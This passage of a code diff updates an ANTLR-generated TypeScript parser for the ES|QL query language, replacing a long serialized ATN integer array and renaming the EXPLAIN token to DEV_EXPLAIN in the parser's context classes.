14,0,481,482,5,74,0,0,482,483,3,52,26,0,483,101,1,0,0,0,484,485,5,17,0, - 0,485,488,3,44,22,0,486,487,5,59,0,0,487,489,3,14,7,0,488,486,1,0,0,0,488, - 489,1,0,0,0,489,103,1,0,0,0,490,491,5,4,0,0,491,494,3,48,24,0,492,493,5, - 74,0,0,493,495,3,48,24,0,494,492,1,0,0,0,494,495,1,0,0,0,495,501,1,0,0, - 0,496,497,5,132,0,0,497,498,3,48,24,0,498,499,5,62,0,0,499,500,3,48,24, - 0,500,502,1,0,0,0,501,496,1,0,0,0,501,502,1,0,0,0,502,105,1,0,0,0,503,504, - 5,30,0,0,504,505,3,52,26,0,505,107,1,0,0,0,506,507,5,21,0,0,507,508,3,110, - 55,0,508,109,1,0,0,0,509,511,3,112,56,0,510,509,1,0,0,0,511,512,1,0,0,0, - 512,510,1,0,0,0,512,513,1,0,0,0,513,111,1,0,0,0,514,515,5,99,0,0,515,516, - 3,114,57,0,516,517,5,100,0,0,517,113,1,0,0,0,518,519,6,57,-1,0,519,520, - 3,116,58,0,520,526,1,0,0,0,521,522,10,1,0,0,522,523,5,52,0,0,523,525,3, - 116,58,0,524,521,1,0,0,0,525,528,1,0,0,0,526,524,1,0,0,0,526,527,1,0,0, - 0,527,115,1,0,0,0,528,526,1,0,0,0,529,530,3,6,3,0,530,117,1,0,0,0,531,532, - 5,31,0,0,532,119,1,0,0,0,533,538,3,122,61,0,534,535,5,62,0,0,535,537,3, - 122,61,0,536,534,1,0,0,0,537,540,1,0,0,0,538,536,1,0,0,0,538,539,1,0,0, - 0,539,121,1,0,0,0,540,538,1,0,0,0,541,542,3,54,27,0,542,543,5,58,0,0,543, - 544,3,124,62,0,544,123,1,0,0,0,545,548,3,150,75,0,546,548,3,54,27,0,547, - 545,1,0,0,0,547,546,1,0,0,0,548,125,1,0,0,0,549,550,5,18,0,0,550,551,3, - 150,75,0,551,552,5,74,0,0,552,555,3,18,9,0,553,554,5,79,0,0,554,556,3,120, - 60,0,555,553,1,0,0,0,555,556,1,0,0,0,556,127,1,0,0,0,557,561,5,7,0,0,558, - 559,3,48,24,0,559,560,5,58,0,0,560,562,1,0,0,0,561,558,1,0,0,0,561,562, - 1,0,0,0,562,563,1,0,0,0,563,564,3,140,70,0,564,565,5,79,0,0,565,566,3,62, - 31,0,566,129,1,0,0,0,567,568,6,65,-1,0,568,569,5,71,0,0,569,597,3,130,65, - 8,570,597,3,136,68,0,571,597,3,132,66,0,572,574,3,136,68,0,573,575,5,71, - 0,0,574,573,1,0,0,0,574,575,1,0,0,0,575,576,1,0,0,0,576,577,5,67,0,0,577, - 578,5,99,0,0,578,583,3,136,68,0,579,580,5,62,0,0,580,582,3,136,68,0,581, - 579,1,0,0,0,582,585,1,0,0,0,583,581,1,0,0,0,583,584,1,0,0,0,584,586,1,0, - 0,0,585,583,1,0,0,0,586,587,5,100,0,0,587,597,1,0,0,0,588,589,3,136,68, - 0,589,591,5,68,0,0,590,592,5,71,0,0,591,590,1,0,0,0,591,592,1,0,0,0,592, - 593,1,0,0,0,593,594,5,72,0,0,594,597,1,0,0,0,595,597,3,134,67,0,596,567, - 1,0,0,0,596,570,1,0,0,0,596,571,1,0,0,0,596,572,1,0,0,0,596,588,1,0,0,0, - 596,595,1,0,0,0,597,606,1,0,0,0,598,599,10,5,0,0,599,600,5,56,0,0,600,605, - 3,130,65,6,601,602,10,4,0,0,602,603,5,75,0,0,603,605,3,130,65,5,604,598, - 1,0,0,0,604,601,1,0,0,0,605,608,1,0,0,0,606,604,1,0,0,0,606,607,1,0,0,0, - 607,131,1,0,0,0,608,606,1,0,0,0,609,611,3,136,68,0,610,612,5,71,0,0,611, - 610,1,0,0,0,611,612,1,0,0,0,612,613,1,0,0,0,613,614,5,70,0,0,614,615,3, - 160,80,0,615,640,1,0,0,0,616,618,3,136,68,0,617,619,5,71,0,0,618,617,1, - 0,0,0,618,619,1,0,0,0,619,620,1,0,0,0,620,621,5,77,0,0,621,622,3,160,80, - 0,622,640,1,0,0,0,623,625,3,136,68,0,624,626,5,71,0,0,625,624,1,0,0,0,625, - 626,1,0,0,0,626,627,1,0,0,0,627,628,5,70,0,0,628,629,5,99,0,0,629,634,3, - 160,80,0,630,631,5,62,0,0,631,633,3,160,80,0,632,630,1,0,0,0,633,636,1, - 0,0,0,634,632,1,0,0,0,634,635,1,0,0,0,635,637,1,0,0,0,636,634,1,0,0,0,637, - 638,5,100,0,0,638,640,1,0,0,0,639,609,1,0,0,0,639,616,1,0,0,0,639,623,1, - 0,0,0,640,133,1,0,0,0,641,644,3,48,24,0,642,643,5,60,0,0,643,645,3,10,5, - 0,644,642,1,0,0,0,644,645,1,0,0,0,645,646,1,0,0,0,646,647,5,61,0,0,647, - 648,3,150,75,0,648,135,1,0,0,0,649,655,3,138,69,0,650,651,3,138,69,0,651, - 652,3,162,81,0,652,653,3,138,69,0,653,655,1,0,0,0,654,649,1,0,0,0,654,650, - 1,0,0,0,655,137,1,0,0,0,656,657,6,69,-1,0,657,661,3,140,70,0,658,659,7, - 4,0,0,659,661,3,138,69,3,660,656,1,0,0,0,660,658,1,0,0,0,661,670,1,0,0, - 0,662,663,10,2,0,0,663,664,7,5,0,0,664,669,3,138,69,3,665,666,10,1,0,0, - 666,667,7,4,0,0,667,669,3,138,69,2,668,662,1,0,0,0,668,665,1,0,0,0,669, - 672,1,0,0,0,670,668,1,0,0,0,670,671,1,0,0,0,671,139,1,0,0,0,672,670,1,0, - 0,0,673,674,6,70,-1,0,674,682,3,150,75,0,675,682,3,48,24,0,676,682,3,142, - 71,0,677,678,5,99,0,0,678,679,3,130,65,0,679,680,5,100,0,0,680,682,1,0, - 0,0,681,673,1,0,0,0,681,675,1,0,0,0,681,676,1,0,0,0,681,677,1,0,0,0,682, - 688,1,0,0,0,683,684,10,1,0,0,684,685,5,60,0,0,685,687,3,10,5,0,686,683, - 1,0,0,0,687,690,1,0,0,0,688,686,1,0,0,0,688,689,1,0,0,0,689,141,1,0,0,0, - 690,688,1,0,0,0,691,692,3,144,72,0,692,706,5,99,0,0,693,707,5,89,0,0,694, - 699,3,130,65,0,695,696,5,62,0,0,696,698,3,130,65,0,697,695,1,0,0,0,698, - 701,1,0,0,0,699,697,1,0,0,0,699,700,1,0,0,0,700,704,1,0,0,0,701,699,1,0, - 0,0,702,703,5,62,0,0,703,705,3,146,73,0,704,702,1,0,0,0,704,705,1,0,0,0, - 705,707,1,0,0,0,706,693,1,0,0,0,706,694,1,0,0,0,706,707,1,0,0,0,707,708, - 1,0,0,0,708,709,5,100,0,0,709,143,1,0,0,0,710,711,3,62,31,0,711,145,1,0, - 0,0,712,713,5,92,0,0,713,718,3,148,74,0,714,715,5,62,0,0,715,717,3,148, - 74,0,716,714,1,0,0,0,717,720,1,0,0,0,718,716,1,0,0,0,718,719,1,0,0,0,719, - 721,1,0,0,0,720,718,1,0,0,0,721,722,5,93,0,0,722,147,1,0,0,0,723,724,3, - 160,80,0,724,725,5,61,0,0,725,726,3,150,75,0,726,149,1,0,0,0,727,770,5, - 72,0,0,728,729,3,158,79,0,729,730,5,101,0,0,730,770,1,0,0,0,731,770,3,156, - 78,0,732,770,3,158,79,0,733,770,3,152,76,0,734,770,3,58,29,0,735,770,3, - 160,80,0,736,737,5,97,0,0,737,742,3,154,77,0,738,739,5,62,0,0,739,741,3, - 154,77,0,740,738,1,0,0,0,741,744,1,0,0,0,742,740,1,0,0,0,742,743,1,0,0, - 0,743,745,1,0,0,0,744,742,1,0,0,0,745,746,5,98,0,0,746,770,1,0,0,0,747, - 748,5,97,0,0,748,753,3,152,76,0,749,750,5,62,0,0,750,752,3,152,76,0,751, - 749,1,0,0,0,752,755,1,0,0,0,753,751,1,0,0,0,753,754,1,0,0,0,754,756,1,0, - 0,0,755,753,1,0,0,0,756,757,5,98,0,0,757,770,1,0,0,0,758,759,5,97,0,0,759, - 764,3,160,80,0,760,761,5,62,0,0,761,763,3,160,80,0,762,760,1,0,0,0,763, - 766,1,0,0,0,764,762,1,0,0,0,764,765,1,0,0,0,765,767,1,0,0,0,766,764,1,0, - 0,0,767,768,5,98,0,0,768,770,1,0,0,0,769,727,1,0,0,0,769,728,1,0,0,0,769, - 731,1,0,0,0,769,732,1,0,0,0,769,733,1,0,0,0,769,734,1,0,0,0,769,735,1,0, - 0,0,769,736,1,0,0,0,769,747,1,0,0,0,769,758,1,0,0,0,770,151,1,0,0,0,771, - 772,7,6,0,0,772,153,1,0,0,0,773,776,3,156,78,0,774,776,3,158,79,0,775,773, - 1,0,0,0,775,774,1,0,0,0,776,155,1,0,0,0,777,779,7,4,0,0,778,777,1,0,0,0, - 778,779,1,0,0,0,779,780,1,0,0,0,780,781,5,55,0,0,781,157,1,0,0,0,782,784, - 7,4,0,0,783,782,1,0,0,0,783,784,1,0,0,0,784,785,1,0,0,0,785,786,5,54,0, - 0,786,159,1,0,0,0,787,788,5,53,0,0,788,161,1,0,0,0,789,790,7,7,0,0,790, - 163,1,0,0,0,791,792,7,8,0,0,792,793,5,114,0,0,793,794,3,166,83,0,794,795, - 3,168,84,0,795,165,1,0,0,0,796,797,3,28,14,0,797,167,1,0,0,0,798,799,5, - 74,0,0,799,804,3,170,85,0,800,801,5,62,0,0,801,803,3,170,85,0,802,800,1, - 0,0,0,803,806,1,0,0,0,804,802,1,0,0,0,804,805,1,0,0,0,805,169,1,0,0,0,806, - 804,1,0,0,0,807,808,3,136,68,0,808,171,1,0,0,0,72,183,192,221,236,242,251, - 257,270,274,285,301,309,313,320,326,333,341,349,357,361,365,370,381,386, - 390,404,415,421,435,456,464,467,472,488,494,501,512,526,538,547,555,561, - 574,583,591,596,604,606,611,618,625,634,639,644,654,660,668,670,681,688, - 699,704,706,718,742,753,764,769,775,778,783,804]; + 1,0,0,0,183,184,1,0,0,0,184,3,1,0,0,0,185,183,1,0,0,0,186,194,3,22,11,0, + 187,194,3,12,6,0,188,194,3,92,46,0,189,190,4,2,1,0,190,194,3,24,12,0,191, + 192,4,2,2,0,192,194,3,88,44,0,193,186,1,0,0,0,193,187,1,0,0,0,193,188,1, + 0,0,0,193,189,1,0,0,0,193,191,1,0,0,0,194,5,1,0,0,0,195,223,3,40,20,0,196, + 223,3,8,4,0,197,223,3,70,35,0,198,223,3,64,32,0,199,223,3,42,21,0,200,223, + 3,66,33,0,201,223,3,72,36,0,202,223,3,74,37,0,203,223,3,78,39,0,204,223, + 3,80,40,0,205,223,3,94,47,0,206,223,3,82,41,0,207,223,3,164,82,0,208,223, + 3,104,52,0,209,223,3,128,64,0,210,223,3,98,49,0,211,223,3,108,54,0,212, + 213,4,3,3,0,213,223,3,102,51,0,214,215,4,3,4,0,215,223,3,100,50,0,216,217, + 4,3,5,0,217,223,3,106,53,0,218,219,4,3,6,0,219,223,3,126,63,0,220,221,4, + 3,7,0,221,223,3,118,59,0,222,195,1,0,0,0,222,196,1,0,0,0,222,197,1,0,0, + 0,222,198,1,0,0,0,222,199,1,0,0,0,222,200,1,0,0,0,222,201,1,0,0,0,222,202, + 1,0,0,0,222,203,1,0,0,0,222,204,1,0,0,0,222,205,1,0,0,0,222,206,1,0,0,0, + 222,207,1,0,0,0,222,208,1,0,0,0,222,209,1,0,0,0,222,210,1,0,0,0,222,211, + 1,0,0,0,222,212,1,0,0,0,222,214,1,0,0,0,222,216,1,0,0,0,222,218,1,0,0,0, + 222,220,1,0,0,0,223,7,1,0,0,0,224,225,5,16,0,0,225,226,3,130,65,0,226,9, + 1,0,0,0,227,228,3,54,27,0,228,11,1,0,0,0,229,230,5,12,0,0,230,231,3,14, + 7,0,231,13,1,0,0,0,232,237,3,16,8,0,233,234,5,62,0,0,234,236,3,16,8,0,235, + 233,1,0,0,0,236,239,1,0,0,0,237,235,1,0,0,0,237,238,1,0,0,0,238,15,1,0, + 0,0,239,237,1,0,0,0,240,241,3,48,24,0,241,242,5,58,0,0,242,244,1,0,0,0, + 243,240,1,0,0,0,243,244,1,0,0,0,244,245,1,0,0,0,245,246,3,130,65,0,246, + 17,1,0,0,0,247,252,3,20,10,0,248,249,5,62,0,0,249,251,3,20,10,0,250,248, + 1,0,0,0,251,254,1,0,0,0,252,250,1,0,0,0,252,253,1,0,0,0,253,19,1,0,0,0, + 254,252,1,0,0,0,255,258,3,48,24,0,256,257,5,58,0,0,257,259,3,130,65,0,258, + 256,1,0,0,0,258,259,1,0,0,0,259,21,1,0,0,0,260,261,5,19,0,0,261,262,3,26, + 13,0,262,23,1,0,0,0,263,264,5,20,0,0,264,265,3,26,13,0,265,25,1,0,0,0,266, + 271,3,28,14,0,267,268,5,62,0,0,268,270,3,28,14,0,269,267,1,0,0,0,270,273, + 1,0,0,0,271,269,1,0,0,0,271,272,1,0,0,0,272,275,1,0,0,0,273,271,1,0,0,0, + 274,276,3,38,19,0,275,274,1,0,0,0,275,276,1,0,0,0,276,27,1,0,0,0,277,278, + 3,30,15,0,278,279,5,61,0,0,279,280,3,34,17,0,280,287,1,0,0,0,281,282,3, + 34,17,0,282,283,5,60,0,0,283,284,3,32,16,0,284,287,1,0,0,0,285,287,3,36, + 18,0,286,277,1,0,0,0,286,281,1,0,0,0,286,285,1,0,0,0,287,29,1,0,0,0,288, + 289,5,107,0,0,289,31,1,0,0,0,290,291,5,107,0,0,291,33,1,0,0,0,292,293,5, + 107,0,0,293,35,1,0,0,0,294,295,7,0,0,0,295,37,1,0,0,0,296,297,5,106,0,0, + 297,302,5,107,0,0,298,299,5,62,0,0,299,301,5,107,0,0,300,298,1,0,0,0,301, + 304,1,0,0,0,302,300,1,0,0,0,302,303,1,0,0,0,303,39,1,0,0,0,304,302,1,0, + 0,0,305,306,5,9,0,0,306,307,3,14,7,0,307,41,1,0,0,0,308,310,5,15,0,0,309, + 311,3,44,22,0,310,309,1,0,0,0,310,311,1,0,0,0,311,314,1,0,0,0,312,313,5, + 59,0,0,313,315,3,14,7,0,314,312,1,0,0,0,314,315,1,0,0,0,315,43,1,0,0,0, + 316,321,3,46,23,0,317,318,5,62,0,0,318,320,3,46,23,0,319,317,1,0,0,0,320, + 323,1,0,0,0,321,319,1,0,0,0,321,322,1,0,0,0,322,45,1,0,0,0,323,321,1,0, + 0,0,324,327,3,16,8,0,325,326,5,16,0,0,326,328,3,130,65,0,327,325,1,0,0, + 0,327,328,1,0,0,0,328,47,1,0,0,0,329,334,3,62,31,0,330,331,5,64,0,0,331, + 333,3,62,31,0,332,330,1,0,0,0,333,336,1,0,0,0,334,332,1,0,0,0,334,335,1, + 0,0,0,335,49,1,0,0,0,336,334,1,0,0,0,337,342,3,56,28,0,338,339,5,64,0,0, + 339,341,3,56,28,0,340,338,1,0,0,0,341,344,1,0,0,0,342,340,1,0,0,0,342,343, + 1,0,0,0,343,51,1,0,0,0,344,342,1,0,0,0,345,350,3,50,25,0,346,347,5,62,0, + 0,347,349,3,50,25,0,348,346,1,0,0,0,349,352,1,0,0,0,350,348,1,0,0,0,350, + 351,1,0,0,0,351,53,1,0,0,0,352,350,1,0,0,0,353,354,7,1,0,0,354,55,1,0,0, + 0,355,359,5,128,0,0,356,359,3,58,29,0,357,359,3,60,30,0,358,355,1,0,0,0, + 358,356,1,0,0,0,358,357,1,0,0,0,359,57,1,0,0,0,360,363,5,76,0,0,361,363, + 5,95,0,0,362,360,1,0,0,0,362,361,1,0,0,0,363,59,1,0,0,0,364,367,5,94,0, + 0,365,367,5,96,0,0,366,364,1,0,0,0,366,365,1,0,0,0,367,61,1,0,0,0,368,372, + 3,54,27,0,369,372,3,58,29,0,370,372,3,60,30,0,371,368,1,0,0,0,371,369,1, + 0,0,0,371,370,1,0,0,0,372,63,1,0,0,0,373,374,5,11,0,0,374,375,3,150,75, + 0,375,65,1,0,0,0,376,377,5,14,0,0,377,382,3,68,34,0,378,379,5,62,0,0,379, + 381,3,68,34,0,380,378,1,0,0,0,381,384,1,0,0,0,382,380,1,0,0,0,382,383,1, + 0,0,0,383,67,1,0,0,0,384,382,1,0,0,0,385,387,3,130,65,0,386,388,7,2,0,0, + 387,386,1,0,0,0,387,388,1,0,0,0,388,391,1,0,0,0,389,390,5,73,0,0,390,392, + 7,3,0,0,391,389,1,0,0,0,391,392,1,0,0,0,392,69,1,0,0,0,393,394,5,29,0,0, + 394,395,3,52,26,0,395,71,1,0,0,0,396,397,5,28,0,0,397,398,3,52,26,0,398, + 73,1,0,0,0,399,400,5,32,0,0,400,405,3,76,38,0,401,402,5,62,0,0,402,404, + 3,76,38,0,403,401,1,0,0,0,404,407,1,0,0,0,405,403,1,0,0,0,405,406,1,0,0, + 0,406,75,1,0,0,0,407,405,1,0,0,0,408,409,3,50,25,0,409,410,5,132,0,0,410, + 411,3,50,25,0,411,417,1,0,0,0,412,413,3,50,25,0,413,414,5,58,0,0,414,415, + 3,50,25,0,415,417,1,0,0,0,416,408,1,0,0,0,416,412,1,0,0,0,417,77,1,0,0, + 0,418,419,5,8,0,0,419,420,3,140,70,0,420,422,3,160,80,0,421,423,3,84,42, + 0,422,421,1,0,0,0,422,423,1,0,0,0,423,79,1,0,0,0,424,425,5,10,0,0,425,426, + 3,140,70,0,426,427,3,160,80,0,427,81,1,0,0,0,428,429,5,27,0,0,429,430,3, + 48,24,0,430,83,1,0,0,0,431,436,3,86,43,0,432,433,5,62,0,0,433,435,3,86, + 43,0,434,432,1,0,0,0,435,438,1,0,0,0,436,434,1,0,0,0,436,437,1,0,0,0,437, + 85,1,0,0,0,438,436,1,0,0,0,439,440,3,54,27,0,440,441,5,58,0,0,441,442,3, + 150,75,0,442,87,1,0,0,0,443,444,5,6,0,0,444,445,3,90,45,0,445,89,1,0,0, + 0,446,447,5,99,0,0,447,448,3,2,1,0,448,449,5,100,0,0,449,91,1,0,0,0,450, + 451,5,33,0,0,451,452,5,136,0,0,452,93,1,0,0,0,453,454,5,5,0,0,454,457,5, + 38,0,0,455,456,5,74,0,0,456,458,3,50,25,0,457,455,1,0,0,0,457,458,1,0,0, + 0,458,468,1,0,0,0,459,460,5,79,0,0,460,465,3,96,48,0,461,462,5,62,0,0,462, + 464,3,96,48,0,463,461,1,0,0,0,464,467,1,0,0,0,465,463,1,0,0,0,465,466,1, + 0,0,0,466,469,1,0,0,0,467,465,1,0,0,0,468,459,1,0,0,0,468,469,1,0,0,0,469, + 95,1,0,0,0,470,471,3,50,25,0,471,472,5,58,0,0,472,474,1,0,0,0,473,470,1, + 0,0,0,473,474,1,0,0,0,474,475,1,0,0,0,475,476,3,50,25,0,476,97,1,0,0,0, + 477,478,5,13,0,0,478,479,3,150,75,0,479,99,1,0,0,0,480,481,5,26,0,0,481, + 482,3,28,14,0,482,483,5,74,0,0,483,484,3,52,26,0,484,101,1,0,0,0,485,486, + 5,17,0,0,486,489,3,44,22,0,487,488,5,59,0,0,488,490,3,14,7,0,489,487,1, + 0,0,0,489,490,1,0,0,0,490,103,1,0,0,0,491,492,5,4,0,0,492,495,3,48,24,0, + 493,494,5,74,0,0,494,496,3,48,24,0,495,493,1,0,0,0,495,496,1,0,0,0,496, + 502,1,0,0,0,497,498,5,132,0,0,498,499,3,48,24,0,499,500,5,62,0,0,500,501, + 3,48,24,0,501,503,1,0,0,0,502,497,1,0,0,0,502,503,1,0,0,0,503,105,1,0,0, + 0,504,505,5,30,0,0,505,506,3,52,26,0,506,107,1,0,0,0,507,508,5,21,0,0,508, + 509,3,110,55,0,509,109,1,0,0,0,510,512,3,112,56,0,511,510,1,0,0,0,512,513, + 1,0,0,0,513,511,1,0,0,0,513,514,1,0,0,0,514,111,1,0,0,0,515,516,5,99,0, + 0,516,517,3,114,57,0,517,518,5,100,0,0,518,113,1,0,0,0,519,520,6,57,-1, + 0,520,521,3,116,58,0,521,527,1,0,0,0,522,523,10,1,0,0,523,524,5,52,0,0, + 524,526,3,116,58,0,525,522,1,0,0,0,526,529,1,0,0,0,527,525,1,0,0,0,527, + 528,1,0,0,0,528,115,1,0,0,0,529,527,1,0,0,0,530,531,3,6,3,0,531,117,1,0, + 0,0,532,533,5,31,0,0,533,119,1,0,0,0,534,539,3,122,61,0,535,536,5,62,0, + 0,536,538,3,122,61,0,537,535,1,0,0,0,538,541,1,0,0,0,539,537,1,0,0,0,539, + 540,1,0,0,0,540,121,1,0,0,0,541,539,1,0,0,0,542,543,3,54,27,0,543,544,5, + 58,0,0,544,545,3,124,62,0,545,123,1,0,0,0,546,549,3,150,75,0,547,549,3, + 54,27,0,548,546,1,0,0,0,548,547,1,0,0,0,549,125,1,0,0,0,550,551,5,18,0, + 0,551,552,3,150,75,0,552,553,5,74,0,0,553,556,3,18,9,0,554,555,5,79,0,0, + 555,557,3,120,60,0,556,554,1,0,0,0,556,557,1,0,0,0,557,127,1,0,0,0,558, + 562,5,7,0,0,559,560,3,48,24,0,560,561,5,58,0,0,561,563,1,0,0,0,562,559, + 1,0,0,0,562,563,1,0,0,0,563,564,1,0,0,0,564,565,3,140,70,0,565,566,5,79, + 0,0,566,567,3,62,31,0,567,129,1,0,0,0,568,569,6,65,-1,0,569,570,5,71,0, + 0,570,598,3,130,65,8,571,598,3,136,68,0,572,598,3,132,66,0,573,575,3,136, + 68,0,574,576,5,71,0,0,575,574,1,0,0,0,575,576,1,0,0,0,576,577,1,0,0,0,577, + 578,5,67,0,0,578,579,5,99,0,0,579,584,3,136,68,0,580,581,5,62,0,0,581,583, + 3,136,68,0,582,580,1,0,0,0,583,586,1,0,0,0,584,582,1,0,0,0,584,585,1,0, + 0,0,585,587,1,0,0,0,586,584,1,0,0,0,587,588,5,100,0,0,588,598,1,0,0,0,589, + 590,3,136,68,0,590,592,5,68,0,0,591,593,5,71,0,0,592,591,1,0,0,0,592,593, + 1,0,0,0,593,594,1,0,0,0,594,595,5,72,0,0,595,598,1,0,0,0,596,598,3,134, + 67,0,597,568,1,0,0,0,597,571,1,0,0,0,597,572,1,0,0,0,597,573,1,0,0,0,597, + 589,1,0,0,0,597,596,1,0,0,0,598,607,1,0,0,0,599,600,10,5,0,0,600,601,5, + 56,0,0,601,606,3,130,65,6,602,603,10,4,0,0,603,604,5,75,0,0,604,606,3,130, + 65,5,605,599,1,0,0,0,605,602,1,0,0,0,606,609,1,0,0,0,607,605,1,0,0,0,607, + 608,1,0,0,0,608,131,1,0,0,0,609,607,1,0,0,0,610,612,3,136,68,0,611,613, + 5,71,0,0,612,611,1,0,0,0,612,613,1,0,0,0,613,614,1,0,0,0,614,615,5,70,0, + 0,615,616,3,160,80,0,616,641,1,0,0,0,617,619,3,136,68,0,618,620,5,71,0, + 0,619,618,1,0,0,0,619,620,1,0,0,0,620,621,1,0,0,0,621,622,5,77,0,0,622, + 623,3,160,80,0,623,641,1,0,0,0,624,626,3,136,68,0,625,627,5,71,0,0,626, + 625,1,0,0,0,626,627,1,0,0,0,627,628,1,0,0,0,628,629,5,70,0,0,629,630,5, + 99,0,0,630,635,3,160,80,0,631,632,5,62,0,0,632,634,3,160,80,0,633,631,1, + 0,0,0,634,637,1,0,0,0,635,633,1,0,0,0,635,636,1,0,0,0,636,638,1,0,0,0,637, + 635,1,0,0,0,638,639,5,100,0,0,639,641,1,0,0,0,640,610,1,0,0,0,640,617,1, + 0,0,0,640,624,1,0,0,0,641,133,1,0,0,0,642,645,3,48,24,0,643,644,5,60,0, + 0,644,646,3,10,5,0,645,643,1,0,0,0,645,646,1,0,0,0,646,647,1,0,0,0,647, + 648,5,61,0,0,648,649,3,150,75,0,649,135,1,0,0,0,650,656,3,138,69,0,651, + 652,3,138,69,0,652,653,3,162,81,0,653,654,3,138,69,0,654,656,1,0,0,0,655, + 650,1,0,0,0,655,651,1,0,0,0,656,137,1,0,0,0,657,658,6,69,-1,0,658,662,3, + 140,70,0,659,660,7,4,0,0,660,662,3,138,69,3,661,657,1,0,0,0,661,659,1,0, + 0,0,662,671,1,0,0,0,663,664,10,2,0,0,664,665,7,5,0,0,665,670,3,138,69,3, + 666,667,10,1,0,0,667,668,7,4,0,0,668,670,3,138,69,2,669,663,1,0,0,0,669, + 666,1,0,0,0,670,673,1,0,0,0,671,669,1,0,0,0,671,672,1,0,0,0,672,139,1,0, + 0,0,673,671,1,0,0,0,674,675,6,70,-1,0,675,683,3,150,75,0,676,683,3,48,24, + 0,677,683,3,142,71,0,678,679,5,99,0,0,679,680,3,130,65,0,680,681,5,100, + 0,0,681,683,1,0,0,0,682,674,1,0,0,0,682,676,1,0,0,0,682,677,1,0,0,0,682, + 678,1,0,0,0,683,689,1,0,0,0,684,685,10,1,0,0,685,686,5,60,0,0,686,688,3, + 10,5,0,687,684,1,0,0,0,688,691,1,0,0,0,689,687,1,0,0,0,689,690,1,0,0,0, + 690,141,1,0,0,0,691,689,1,0,0,0,692,693,3,144,72,0,693,707,5,99,0,0,694, + 708,5,89,0,0,695,700,3,130,65,0,696,697,5,62,0,0,697,699,3,130,65,0,698, + 696,1,0,0,0,699,702,1,0,0,0,700,698,1,0,0,0,700,701,1,0,0,0,701,705,1,0, + 0,0,702,700,1,0,0,0,703,704,5,62,0,0,704,706,3,146,73,0,705,703,1,0,0,0, + 705,706,1,0,0,0,706,708,1,0,0,0,707,694,1,0,0,0,707,695,1,0,0,0,707,708, + 1,0,0,0,708,709,1,0,0,0,709,710,5,100,0,0,710,143,1,0,0,0,711,712,3,62, + 31,0,712,145,1,0,0,0,713,714,5,92,0,0,714,719,3,148,74,0,715,716,5,62,0, + 0,716,718,3,148,74,0,717,715,1,0,0,0,718,721,1,0,0,0,719,717,1,0,0,0,719, + 720,1,0,0,0,720,722,1,0,0,0,721,719,1,0,0,0,722,723,5,93,0,0,723,147,1, + 0,0,0,724,725,3,160,80,0,725,726,5,61,0,0,726,727,3,150,75,0,727,149,1, + 0,0,0,728,771,5,72,0,0,729,730,3,158,79,0,730,731,5,101,0,0,731,771,1,0, + 0,0,732,771,3,156,78,0,733,771,3,158,79,0,734,771,3,152,76,0,735,771,3, + 58,29,0,736,771,3,160,80,0,737,738,5,97,0,0,738,743,3,154,77,0,739,740, + 5,62,0,0,740,742,3,154,77,0,741,739,1,0,0,0,742,745,1,0,0,0,743,741,1,0, + 0,0,743,744,1,0,0,0,744,746,1,0,0,0,745,743,1,0,0,0,746,747,5,98,0,0,747, + 771,1,0,0,0,748,749,5,97,0,0,749,754,3,152,76,0,750,751,5,62,0,0,751,753, + 3,152,76,0,752,750,1,0,0,0,753,756,1,0,0,0,754,752,1,0,0,0,754,755,1,0, + 0,0,755,757,1,0,0,0,756,754,1,0,0,0,757,758,5,98,0,0,758,771,1,0,0,0,759, + 760,5,97,0,0,760,765,3,160,80,0,761,762,5,62,0,0,762,764,3,160,80,0,763, + 761,1,0,0,0,764,767,1,0,0,0,765,763,1,0,0,0,765,766,1,0,0,0,766,768,1,0, + 0,0,767,765,1,0,0,0,768,769,5,98,0,0,769,771,1,0,0,0,770,728,1,0,0,0,770, + 729,1,0,0,0,770,732,1,0,0,0,770,733,1,0,0,0,770,734,1,0,0,0,770,735,1,0, + 0,0,770,736,1,0,0,0,770,737,1,0,0,0,770,748,1,0,0,0,770,759,1,0,0,0,771, + 151,1,0,0,0,772,773,7,6,0,0,773,153,1,0,0,0,774,777,3,156,78,0,775,777, + 3,158,79,0,776,774,1,0,0,0,776,775,1,0,0,0,777,155,1,0,0,0,778,780,7,4, + 0,0,779,778,1,0,0,0,779,780,1,0,0,0,780,781,1,0,0,0,781,782,5,55,0,0,782, + 157,1,0,0,0,783,785,7,4,0,0,784,783,1,0,0,0,784,785,1,0,0,0,785,786,1,0, + 0,0,786,787,5,54,0,0,787,159,1,0,0,0,788,789,5,53,0,0,789,161,1,0,0,0,790, + 791,7,7,0,0,791,163,1,0,0,0,792,793,7,8,0,0,793,794,5,114,0,0,794,795,3, + 166,83,0,795,796,3,168,84,0,796,165,1,0,0,0,797,798,3,28,14,0,798,167,1, + 0,0,0,799,800,5,74,0,0,800,805,3,170,85,0,801,802,5,62,0,0,802,804,3,170, + 85,0,803,801,1,0,0,0,804,807,1,0,0,0,805,803,1,0,0,0,805,806,1,0,0,0,806, + 169,1,0,0,0,807,805,1,0,0,0,808,809,3,136,68,0,809,171,1,0,0,0,72,183,193, + 222,237,243,252,258,271,275,286,302,310,314,321,327,334,342,350,358,362, + 366,371,382,387,391,405,416,422,436,457,465,468,473,489,495,502,513,527, + 539,548,556,562,575,584,592,597,605,607,612,619,626,635,640,645,655,661, + 669,671,682,689,700,705,707,719,743,754,765,770,776,779,784,805]; private static __ATN: ATN; public static get _ATN(): ATN { @@ -4951,9 +4956,6 @@ export class SourceCommandContext extends ParserRuleContext { super(parent, invokingState); this.parser = parser; } - public explainCommand(): ExplainCommandContext { - return this.getTypedRuleContext(ExplainCommandContext, 0) as ExplainCommandContext; - } public fromCommand(): FromCommandContext { return this.getTypedRuleContext(FromCommandContext, 0) as FromCommandContext; } @@ -4966,6 +4968,9 @@ export class SourceCommandContext extends ParserRuleContext { public timeSeriesCommand(): TimeSeriesCommandContext { return this.getTypedRuleContext(TimeSeriesCommandContext, 0) as TimeSeriesCommandContext; } + public explainCommand(): ExplainCommandContext { + return this.getTypedRuleContext(ExplainCommandContext, 0) as ExplainCommandContext; + } public get ruleIndex(): number { return esql_parser.RULE_sourceCommand; } @@ -6348,8 +6353,8 @@ export class ExplainCommandContext extends ParserRuleContext { super(parent, invokingState); this.parser = parser; } - public EXPLAIN(): TerminalNode { - return this.getToken(esql_parser.EXPLAIN, 0); + public DEV_EXPLAIN(): TerminalNode { + return this.getToken(esql_parser.DEV_EXPLAIN, 0); } public subqueryExpression(): SubqueryExpressionContext { return this.getTypedRuleContext(SubqueryExpressionContext, 0) as SubqueryExpressionContext; @@ -6375,14 +6380,14 @@ export class SubqueryExpressionContext extends ParserRuleContext { super(parent, invokingState); this.parser = parser; } - public 